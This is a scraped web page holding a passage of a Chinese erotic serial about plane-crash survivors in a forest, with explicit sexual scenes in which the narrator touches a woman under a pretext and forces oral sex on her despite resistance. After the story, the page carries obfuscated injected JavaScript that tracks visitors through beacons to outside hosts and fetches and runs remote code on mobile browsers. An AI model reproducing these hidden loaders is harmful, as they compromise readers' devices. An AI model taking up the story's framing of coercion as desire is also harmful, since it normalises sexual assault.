  菲菲的屁股蛋非常的浑圆软滑,而且因为蹲下绷紧了的关系,抚上去感觉更是充满了弹性。那小小的屁眼虽然看不到,但是手指头上传来的感觉却是异常的清晰……那里布满一圈一圈的褶皱,嫩嫩的、滑滑的……每次当我的手指触到穴口时,它都往里面一缩,那个感觉真的十分奇妙。我又装作没感觉的把手再移前了一点,终于揩擦到她前面小花丘上的柔毛了……指尖在春雾弥漫的草丛中感觉到了一阵温热,禁不住前穿破密林再往前挪了挪,手指很快便剖开了两片肥美的花瓣,陷落到春潮泛滥的幽谷中间。

  菲菲嘤的一声,混身震烈的抖颤了一下。我却装作毫不知情的,还在继续的搓揉,手指越陷越深,竟然感觉到一缕灼热慢慢沿着我的手指流到手背上……这小妮子竟然湿了……我心中意乱情迷的,越来越大胆了!手指一用力,竟然撑开了屁眼塞了进去。菲菲马上「嗯」了一声,屁眼和花瓣同时缩紧,猛的夹住了我两只手指的指尖。还羞得胀红了脸的用力捶了我一拳,低声的嗔道:「喂!你好了没有?」我这才如梦初醒,马上装模作样的说道:「好了,好了……应该洗乾净了,你放心吧。」这才恋恋不舍地抽出了黏稠稠的手指,扶她站了起来,又替她拉好裤子,扶着她慢慢的回到山洞里。

  回去的路去,菲菲一直低着头,不敢看我。

  我们两个回到山洞时,几个女人正在吱吱喳喳,兴高采烈地翻看着我拿回来的东西。

  晚上吃饱了之后,大家又围在火堆闲聊,都盼着尽快会有人来营救我们。那个孤独的空姐林伶伶跟我们混了一整天,也都开始熟落了点,也坐了过来和我们聊了一阵。

  第二章完,下一章(三、梦中情人的处女口交:菲菲妹妹)

第03章 梦中情人的处女口交:菲菲妹妹.

接着很快便过了一个礼拜,由于有飞机上弄回来的食物,我们没有去打猎。我们也曾经尝试跑远一点,想试试找不找得到出路,但森林实在太大了,我们走了大半天,再爬到树项去看,还是看不到到密林的边缘,最后也放弃了,安心的在山洞等待救援。

  我特地在小山丘顶上生了个篝火,让它通宵的燃着,希望可以吸引到救援队的注意。我还挨夜冒着寒露守在火旁,不让它熄灭。

  我们一班人在这种无边的期待中,很快又再过了一个星期,期间我们还好像听到了一次直升机的声音,但当我们跑出洞外看时,却连直升机的影子也没看到。

  空姐林伶伶终于满脸担忧的告诉我们说,凭她的经验,我们得救的机会恐怕不多了……因为坠机前那场大风暴应该会让我们的飞机偏离了航线很多,而且机尾一开始便被打破了,装在那里的「黑盒」不知有没有损坏?就算侥幸没有,黑盒掉落的位置跟真正的坠机现场也不知相隔了多麽远?

  救授人员找不到飞机残骸的痕迹,很可能会判定我们整架飞机在空中便已经解体粉碎,那样根本不会有人生还的。这里位处原始深山,要大规模搜索的话一定会耗费大量的人力物力;所以如果找到生还者的机会不高的话,拯救行动相信很快便会取消的了。

  她又补充说:如果这几天也再不见有人来,那麽他们很可能已经放弃搜索,以后不会再有人来了。

  我们听到了之后,心情当然是沮丧到了极点。

  日子一天一天过去,随着我那次捡到的东西慢慢吃完,大家的情绪也越来越低落了。山洞附近可以采得到的野果也被我摘光了,我们开始再尝试到林中打猎,但却始终没能成功的打到猎物,大家唯有饥一顿饱一顿的……唯一可以庆幸的,是菲菲的伤终于好了,已经可以自由走动了。她因为受了伤,很多时都跟走我一起,而且自从那次我乘她解手时轻薄过了她之后,以后每天替她洗屁股便成为了我被困在这里唯一的乐事。

  她似乎也渐渐的习惯了,对我那些有点色色的抚摸也像是接受了,只要我不是太过份,她都不会阻止的。

  这样子又再过了几天,真的还是没见到有人来……但最麻烦的,是我们已经找不到任何可以吃的了。

  因此我不得不提议大家都要冒险分头出去寻找食物了,否则全部人都可能要饿死的!

  我们决定分成三组,尽量跑远一点。我把刘涛涛和李欣欣编在一组,林伶伶、秦岚岚和孙甜甜三个是第二组;菲菲的伤还没完全康复,为了方便照顾,我还是把她带在身边了。

  我领着菲菲沿着小溪往下游走去。很快便到中午了,我们在某处山边找到了一些野果。吃饱了之后,又看到一只胖胖的野兔。这次有美女在身边,我更加不敢怠慢,先让菲菲绕到另一边把兔子唬吓得向着我藏身的大树跑过来,然后才突然扑出来,一枪便刺中了那只野兔。

  我拿起野兔,用力扭断了它的颈骨,用手秤了一秤,应该有两、三斤重……「真好!今晚有烤兔肉吃了!」菲菲开心极了,抱着我直跳,似乎忘记了自己衣服都破烂了,身体上很多地方都露出了来。不过她就是爱乾净,所以洗得都很乾净,白晰的肌肤在破衣下掩掩漾漾的好不诱人。

  我看着她忘形的甜美笑容,忍不住就在她颊上香了一口:「还要多得你帮忙啊!菲菲,我们真是天生一对的好拍档……」我语带双关的说。她嘤咛一声,粉脸腾地红了,有些害羞地要推开我,嘴里直说:「别……别这样嘛……」忍了这麽多天,今天才找到个这麽难得的独处机会,我可不肯放手了,还鼓起了勇气抱紧了她的小蛮腰,非常诚恳的告白说:「菲菲,你知道吗?这次很可能会没有人来营救我们的了,可能我们以后都要在这里一直待下去!所以,我也不得不向你表白了……」「不……不要嘛!」她满脸通红的,硬是想躲开我的目光。

  我却伸手托着她的下巴,把她的俏脸拧了过来,凝望着她非常认真的说:「菲菲,你听我说。我相信就算我不说出口,你也已经知道的……我从读书时便已经爱上了你!只是你实在太优秀了,我感到配你不起,所以才一直都不敢向你追求。但现在我们可能真的是只有今天,没有明天的了。菲菲,不如,你……就从了我,跟我在一起吧,好吗?」菲菲脸红红的,有些犹豫,讷讷地说:「你……别说这些嘛……」「菲菲,难道你对我真的没半点感觉吗?还是你仍在嫌弃我?……我们已经出不去了!永远都不能离开这里了!」我很坚决的说:「我知道自己配不起你,但事情已经到了这个地步,你就答应我,让我照顾你好吗?反正上回……上回我帮你包扎伤口和这几天替你清洗……那里的时候,你连身体上最私隐的地方都已经被我看过、摸过了;在我心里早已经把你当成我的老婆了!而且每次想起你,我都会很冲动的呢!不信的话,你看看……」我大着胆子拉着她的小手,隔着裤子去摸我的鸡巴。

  这时我裤裆里的鸡巴早已经涨得老大的,粗硬的像根烧红了的铁棍一样,还在一跳一跳的。

  她碰了一下,马上像是被蜜蜂蛰了似的急忙把小手缩开,粉脸更是红上多两分,美目里恍惚也有些少迷离的醉意:「别这样嘛……我不要……那太羞人了……!」说着喘息也急促了起来,热热的喷在我的脸上。

  我不让她逃开,继续用力抱紧了她。低头便往她娇艳的红唇上凑下去。她挣扎着躲闪了一下,见没法子躲得开,就好像是认命似的闭上了眼睛。我知道她是默许了,便慢慢的把嘴凑了上去,轻轻的吻在那丰润的樱唇上。

  我们就这样热烈的亲着,她的呼吸越来越急促,慢慢也抱住了我,小嘴轻轻的张开了,让我把舌头伸了进去。她的小嘴里面湿湿的、滑滑的、热热的,还满是着少女芬芳的气息。当我们的舌头缠上时,马上便从舌尖上传来了一股轻微的触电感觉。我自然不会放过如此的享受,紧紧的吸吮着她那甜美的小香舌。

  好久好久,菲菲才轻轻的把我推开,大口大口的喘着气说:「你坏死了,想把我憋死吗?」说着娇媚的白了我一眼。

  我等了这麽多年才可以一亲香泽,自然是食髓知味了,马上哀求着说:「菲菲,我的好妹子,你的小嘴真的好香好甜!我爱死你了!今天我可是梦想成真,终于可以吻到你了……嗯……菲菲,可以让我再吻你多一次吗?」菲菲「扑哧」的一笑,又马上觉得不妥,红了脸咬着唇,媚眼如丝地说:「这麽快又要再来一次?难道刚才让你吻了一次还没够吗?你想都不要再想……」「来嘛!」我陪着笑说:「这可是老天爷特地安排给我们的好机会啊!快来,让哥哥再吻一口。」说着又吻了上去,把她的香舌吸到了我的嘴里,慢慢的细味着。我趁她陶醉在我温柔的热吻中时,乘机又在她的香肩、俏臀和纤腰上温柔地抚摸着;她也没怎样抗拒……我们吻了不知多久,连舌头也有些麻了,我才喘着气的松开了她,让她靠在我怀里轻声的喘息着。

  我又再缠她说:「亲爱的,不如你就答应从了我好不好?哥哥我真的……真的很想要了你……你看,我这里硬得好难受啊!」说着索性松开了腰带,让那挺硬的巨大鸡巴弹了出来。又把菲菲扳了过来,让她看看我那根雄伟壮观的巨大火炮。

  「怎麽会这麽大的?」菲菲像是吓傻了的,呆呆的盯着我的下身,很久都没说话。

  ……我知道她以前也好像交过几个男朋友的,但以她那腼腆保守的性格,应该不会那麽随便,已经献出自已的宝贵贞操吧?

  「怎麽了,不比你从前的男友差吧?」我试探的说。她马上皱起了眉头恼道:「你当我是甚麽人了?我才没那麽随便!其实……其实我还是第一次看到男人的……那里呢!」「对不起!是我说错了!」我盯着她,嘴里哀求着就:「我的好妹妹……怎麽了?你就给了我吧……哥哥求你了……」我见她紧咬着嘴唇,一脸心乱如麻的表情,也不知哪来的一股勇气了;马上把握机会,就要把她推倒在草地上。

  她连忙抓住了我的手,吃惊的说:「别……别这样……我很害怕……」两眼一红,像是要哭出来的样子。

  我的心马上软了,不敢再强迫她,只有垂头丧气的哀求说:「好妹子,你不要哭,是我错!」她看到我可怜巴巴的,小嘴凑到我脸上啄了一下,红着脸娇憨的说:「我不是不答应你,只是……只是……心里还没准备好……」我心中登时大喜的,又抓着了她的小手。

  她连粉颈都泛红了,低下头极度害羞的说:「不如……我们下次才……才甚麽吧……最多这次先让我……我用手替你弄出来,行不行?」我虽然还是有点不情愿,但也不想太勉强她,便爽快的答应说:「好!好!我的姑奶奶,你说怎样就怎样吧……」反正来日方长,我就不信她可以逃得出我的狼爪。

  我又涎着脸的要求说:「留待下次才来不是不可以,不过,你也得答应哥哥,让我好好的再看一看你的身子啊……」菲菲尴尬的「嗯」了一声,脸红红地跪坐在我身边,也没说话,只是一脸茫然的看着我。

  其实我也一样紧张极了,猛在发着抖的手慢慢的伸过去……当我摸到了她那上衣的同时,也碰着了她胸前的柔软……那一刻我看见她的美目立时紧紧的闭上了,小手紧紧的抓着拳头。

  我慢慢的解开了她的上衣……终于看到了平生见过的最美丽的一幅画!

  在暖和的清风里,蔚蓝的天空下,菲菲一身雪一样的肌肤真是白得耀眼。而且由于距离很近,细缴的肌肤上每一个的毛孔,都似乎可以清楚的看到见。那双完美的乳房……细嫩、丰满、浑圆、挺拔……浅红色的乳晕烘托着微微颤抖的尖挺乳蒂……我虽没见过多少个女人的乳房,但我却敢肯定,这一定是天下间最美的了。

  胁下的伤口已经结了痂,剩下浅浅的一条红色,等痂掉了之后,一定不会影响都她的完美。

  菲菲混身都染上了一片香艳的樱红色,那又羞又喜的娇俏的模样真是迷死人了!娇躯上此起彼落的泛满了一个个害羞的小疙瘩,一双小手像是没地方可放似的,尴尬的抬了起来,想掩盖着赤裸的胸脯。可是她的手实在太小了,根本便遮掩不了那绝美的景色。

  过了好久好久,我才可以把视线从那双完美的粉团上移开……我贪婪的饱览着她完美的身体……美乳、香肩、小腹……真是目不暇给!心中只觉得这是天下间最美最美的胴体,再也找不到其他形容词了。

  菲菲看着呆呆的我,不禁羞恼的娇嗔着说:「喂!还没看够啊?」「不够,不够,你这麽美,我永远也看不够。」我抬起头看着菲菲,她似乎不敢和我对视,一双美目总是游移着看着别处,躲着我那些火灼灼的迫视目光。

  「贫嘴。」她娇声啐道,伸手在我的臂膀上拧了一记。

  我躲闪着,身体微微的仰后,她忽然间好像是又看见了我那根高高挺起的巨大火棒,马上红着脸期期艾艾地说:「我……我……」我二话不说,一把便抓着她的手。她想要挣扎,但我却坚持着。她挣了一会儿也就放弃了,最后还紧咬着樱唇,很小心的替我退下裤子,还主动的把手放在我那火烫的鸡巴上。

  「啊!这麽烫的?」她似乎没估计到会有那麽烫手,小手缩了一下,但很快又再抓了回来,轻轻的套弄着……让我舒服的像几乎飞上了云霄。

  她的小手又细嫩又娇柔,温温凉凉的,舒服极了!只是她的手真的太小了,两手合起来才勉强可以圈着我的大鸡巴。她其实不大懂得套弄,但这样子被梦中情人的小手抓着性器,单是那股刺激感便已经足够让我魂飞魄散了;随着她小手每次的碰触,我那大肉棒都不由自主的颤抖一下。当她的掌心按落在我的龟头上,还轻轻的滑过了我的马眼时,更时让我差点爽得呻吟了出来。接着她又用手指在我的龟头上一圈圈的转动着,爽得我的肉棒马上猛烈的抖动起来,我更感觉到连身体都像是要炸开了似的。

  她一边套弄着我的阴茎,另一只手还很大胆的搔弄着我的阴囊……我爽快的「哼」着,连身子都软了。双手按着她的肩膀,让她俯身蹲在我腿间,那根直挺挺的巨大阴茎正正的对着了她的俏脸。

  「真的……好大,好粗啊!」菲菲娇羞的抬起头来,看着我怯懦的说。

  「是不是后悔没早一点给我了?」我故意损她的问道。

  「死相!」她红着脸啐了我一口,用力的抓住我的阳具捏了一下。

  「啊……」我又爽又痛的忍不住叫出声来。跟着便毫无预兆的抓着她的后脑,没经过她的同意便把那根红通通、直挺挺的鸡巴抵在她的嘴唇上。

  菲菲马上「呃」了一声,推拒着我的大腿;但是我却没放手,只是一脸的坏笑,用力抱紧她的头不让她躲开。她挣了挣,见没有挣开,她可能知道已经无法拒绝我了,而且看来也已有点情难自禁了吧?于是认命的啐了一口,不甘心的在我的屁股上捶打了几记粉拳;之后便柔顺的伸出舌头,开始放任的用舌头慢慢的舔了起来,还热烈的迎合着,香涎沾满了我整根大肉棒。

  坚挺的大肉棒抵着她柔软的嘴唇上前后的移动,她小心的用舌头迎接着我那巨大龟头的强烈冲击,品嚐着男人性器上渗出来的淫液。虽然她也尝试着张大小嘴想把我含进去,但我的龟头比起她的小嘴实在大得太多了,她怎样努力也只能含进我的一颗龟头,跟着便无法再进了,不由的发出了一阵不满的低吟……硕大的龟头在她小嘴里上下左右的旋动着,但每一次我想深入多一些时,她便好像要开始作呕似的。虽然没法把我容纳得更多,但她还是非常努力的吸吮着,舌头紧紧的缠着涨大的龟头,竭力配合着我。

  这个我一直暗恋着,根本没想过可以拥有的美女,此刻竟然半跪在我的面前,用小嘴来服侍我的鸡巴……我兴奋得飘飘欲仙的,连腿也有些发软了。终于,我的忍耐到了极限……我低低地呼喊着,双手抓紧她的小脑袋,大肉棒在她口中不断急促的跳动,浓稠的热精大股大股的喷涌射出,全都都射进了她的喉咙里。

  她「唔唔」的用力想推着我,但却推不开……直到终于射完了,我才惬意的把那根还没完全软掉的大阴茎从她湿润的口腔里抽了出来。

  菲菲马上恨恨地捶了我一拳,狼狈的吐出了口中的浓精,粉脸红红的,一脸又好气又好笑的模样。

  我涎着脸把她搂在怀里坐下,她还是装模做样的推了我一下,之后便软软地偎依在我怀里。

  我揉捏着她软绵绵的乳房,笑嘻嘻地说:「味道好吗?」她嘟着嘴啐说:「臭死了,你真坏!」我说:「好妹子,你真好,刚才我真是舒服死了,浑身都舒坦得不得了!不过下一回……下一回你可要真的给我的了,好不好?」可能是刚才我们已经到了这样亲密的程度,她彷佛也放开了,趴在我怀里羞涩的说:「嗯,我考虑考虑一下。」我笑着呵她的痒,她也娇笑着躲开,我一边替她穿回衣服,一边调逗着她。

  她娇嗔地说:「好了,大爷,你舒服也舒服过了,我们快回去吧。不过你得答应我,千万别说给她们听的啊!」我们回山洞时,还是一边走一边玩。我时不时的在她的乳房、臀部、脸蛋上摸一下,或者亲一口的。菲菲似嗔似喜地,却不怎麽拒绝我了。

  等我们回到山洞,另外那两组人都已经回来了。

  刘涛涛和李欣欣一组还好一点,找到了十来枚山核桃和粟子,但林伶伶、秦岚岚和孙甜甜三个竟然完全是两手空空的,甚麽也找不到。

  我诧异地问她们,原来她们惯了做娇滴滴的大小姐,平时只会让人服侍,根本没认真去找食物。三个人只是懒洋洋的在附近打了个转,玩耍似的攀了攀树、逛了逛街就回来了。那个孙甜甜还走路不长眼的跌了一跤,把我辛辛苦苦才替她们弄好的木枪都折断了……现在还像个大小姐似的坐在地上泪汪汪的在发脾气。

  看到她们那张理所当然,好像必定会有人照顾她们的嘴脸,我心里不由的火了起来,一张脸也马上沉了下来……把心一横,我恶狠狠的瞪着她们怒吼说:「现在这情况,是不用指望会有人来救我们的了!我们要生存下去的话,就必须大家同心协力,每人都要贡献出自己那一分力。有份出力的才有份分享,要是谁没出过的力的,那就当然是什麽也不要吃了!」说着自顾自的坐在一边用小刀剥着兔皮:「这只野兔是我跟菲菲打回来的,所以没你们的份。」反正现在也出不去了,在外面世界的诸多顾忌我已不放在心上,所以也不再在意她们怎麽想了。

  她们全都呆住了,似乎不相信一向和善的我会说得那麽决绝。连菲菲也吓了一跳,但看了看我,便没说话了。

  秦岚岚似乎不很服气,马上站出来气鼓鼓地骂我说:「甚麽嘛?我们是女人啊!当然那那麽大的本事?你好好歹歹也是个大男人,怎麽能这麽小气,说这些话啊?」我气愤的扔下手中的刀子和野兔,跑过去怒目瞪着她:「你这大小姐的公主病太概没得救了!平时尽在嚷着甚麽要男女平等,现在又想要男人来照顾你了?总之我说了就是!要是你们嫌我说的话不好听,那就不要听……今天我和菲菲两个几经辛苦才打回来这丁点的猎物,连我们自己也不够吃。你们一点力都没出过,凭甚麽这此大叫大嚷,要不劳而获的分享人家辛苦的成果。」我把她骂得哑口无言的:「我们现在在这块鬼都呆不下去的地方还不知要挨多久?要活下去的话就只有靠自己!你平时不是很有本事的吗?自己去找吃的啊?」刘涛涛看见气氛弄僵了,便跑过来婉言相劝说:「算了,算了……现在落到这田地都已经够苦的了,理应同甘共苦的,大家都少说两句吧。」我气鼓鼓的坐下,听见那大小姐孙甜甜还在嘤嘤地哭,忍不住骂道:「哭什麽哭?别嚎了,脚疼是活该,谁叫你平时娇生惯养的,这里可不会有人来服侍你。」大概是头一次有人敢和她这麽说话,小丫头吃了一惊,真的不敢再哼声了。

  菲菲也被我的霸气吓呆了,低着头不敢看我。我拍了拍她的肩膀,低声温柔的对她说:「不关你的事,我们烧兔子吃。」她回头瞥了那几个女人一眼,有点不忍心的……但我却把她们都当成了透明一样,自顾自的把剥好皮的野兔架在火堆上,又到岩壁上敲下了一块晶莹的碎石,搓成细末洒在上面……前两天我就发现了,这里的岩壁上都沾着很厚的一层半透明的东西。后来才醒悟到那是岩盐。我想这洞里没有虫蚁,可能也就是这原因了……烤肉的香气渐渐传开了,那几个女人早把自己找回来那丁点可怜的野果和核桃都吃光了,都咽着唾味,可怜巴巴地望着火堆上的兔子肉……我连望也不望她们一眼,又洒了一把盐末,先扯下一条后腿递给菲菲:「吃吧!你也有份打的。」她其实也很饿了,感激的看了我一眼,也顾不得烫,马上就急三火四地吃了起来。我自己又扯了另一条后腿,大口大口地吃着。其他的女人都眼巴巴地瞪着我们,但心里面那一贯的自尊还是让她们不肯拉下脸来求我。

  我和菲菲的兔子腿很快便吃完了……这时李欣欣终于忍不住了,咽着唾沫说:「你……能不能给我们分点吃的?」我冷冷地回道:「我们自己都不够吃,哪有多余的来分给那些闲人啊?我告诉你……要是明天打不到猎物,到我饿急了,可能连人也会宰了来吃呢!」她吓了一跳,不敢再做声了,还嘤嘤的饮泣了起来。

  我见说得太过份,可能真的吓着她了;又想起她平时跟我还相处得不错,便瞪了她一眼,还是扯下一条兔腿递给她。

  她高兴极了,像是不敢相信的望着我嫣然一笑,火光下看起来倒也颇为动人,赶忙伸手接过去;还得意地望了众人一眼,马上大口吃了起来。

  菲菲吃完了,可能还没饱,所以也定定地望着我。我又撕下一条兔腿递给她,温柔的笑着说:「你今天也辛苦了,快吃吧。」她自然明白我指的是「辛苦」什麽?粉脸一红,有点羞恼的白了我一眼,也不客气地接过肉吃了起来。

  我又把兔脊上的肉吃了一些,觉得饱了,就撕下一块递了给刘涛涛。这位美丽的少妇家里很有钱,平时吃的都是山珍海错,但现在单是一块兔肉便已经让她喜出望外了。她很感激地看我一眼,眼中竟然满是眼泪,像怕我会后悔似的马上接过去。

  李欣欣很快便吃完了手中的兔肉,好像还没吃饱,又再讪讪地望着我。

  我只当没看见,自言自语地说:「明天还不知道能不能再打到猎物,得省着点吃。」说着把剩下的兔肉包了起来,其余几个女人的脸上马上都露出了失望的神情。

  林伶伶终于忍不住了,像哀求似地说:「我们都已经饿极了,你能不能……?」我盯着她漂亮的大眼睛,冷冷地问道:「不是已经说清楚了吗?现在只能他妈的自已顾自己了!这里可不是外面那花花世界,你那张美美的脸蛋是买不到食物的。」她胀红了脸,颤声的辩解着:「你这人怎麽这样?口里乾净点,讲点道德好不好……?」我即时打断她的话,拉高了嗓门笑骂道:「道德?好呀,等我们离开了这深山老林之后,我再慢慢跟你讲道德好了!」她登时哑了,无言以对的。我又冷笑一声说:「而且你又不是我的甚麽人,凭甚麽要我找东西给你吃?如果你是我的老婆,我就不会让你饿着……」说着瞟了菲菲一眼,她马上胀红了脸,垂下头当作没听见。而林伶伶也不言语了,赌气地扭过身去。

  到了晚上睡觉时,几个女人对我的态

关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();